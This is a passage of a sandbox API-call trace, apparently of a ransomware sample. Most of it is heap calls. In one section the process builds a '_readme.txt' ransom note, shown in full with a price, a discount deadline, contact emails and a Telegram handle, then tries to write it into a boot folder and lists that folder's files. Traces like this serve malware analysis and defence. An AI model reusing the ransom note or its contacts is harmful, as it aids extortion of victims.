(HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.456] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.456] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.456] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.456] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.456] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.457] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.457] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.457] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.457] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.457] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.457] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.457] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.457] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.457] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.457] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.457] PathFindFileNameW (pszPath="C:\\Boot\\cs-CZ\\") returned="cs-CZ\\" [0124.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.457] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.457] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.457] PathFindFileNameW (pszPath="") returned="" [0124.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.457] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.458] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.458] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x800) returned 0x30f90a8 [0124.458] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.458] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e8ae0 [0124.458] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.458] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.458] PathAppendW (in: pszPath="C:\\Boot\\cs-CZ\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 1 [0124.458] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.458] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.458] PathFileExistsW (pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 0 [0124.459] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.459] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.460] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.460] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.460] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\_readme.txt" (normalized: "c:\\boot\\cs-cz\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.460] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.460] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.460] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.460] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.460] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.460] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.460] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.460] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.460] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.460] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.460] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.460] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.461] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.461] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.461] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.461] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.461] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.461] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.461] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.461] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.461] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.461] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.461] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.461] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.461] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.461] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.461] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.461] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.461] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.461] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.461] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.461] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.461] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.461] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.461] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.461] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.461] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.461] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.461] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.461] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.461] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.461] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.461] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.461] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.462] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.462] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.462] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.462] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.462] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.462] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.462] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.462] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.462] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.462] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.462] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.462] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.462] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.462] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.462] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.462] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.463] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.463] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.463] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.463] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.463] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.463] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.463] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.463] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.463] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.463] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.463] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.463] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.463] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.463] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.463] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.464] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.464] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.464] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.464] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.464] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.464] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.464] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.464] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: 